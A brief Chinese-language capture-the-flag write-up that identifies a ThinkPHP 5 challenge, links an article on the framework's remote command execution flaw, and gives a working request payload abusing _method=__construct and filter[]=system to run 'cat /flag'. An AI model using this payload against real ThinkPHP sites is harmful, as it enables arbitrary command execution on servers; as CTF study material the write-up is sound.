题目提示是thinkphp5，直接搜索thinkphp5的漏洞
发现thinkphp5有远程命令执行漏洞，详细如下文章
https://www.freebuf.com/vuls/194105.html
payload:
_method=__construct&filter[]=system&server[REQUEST_METHOD]=cat /flag
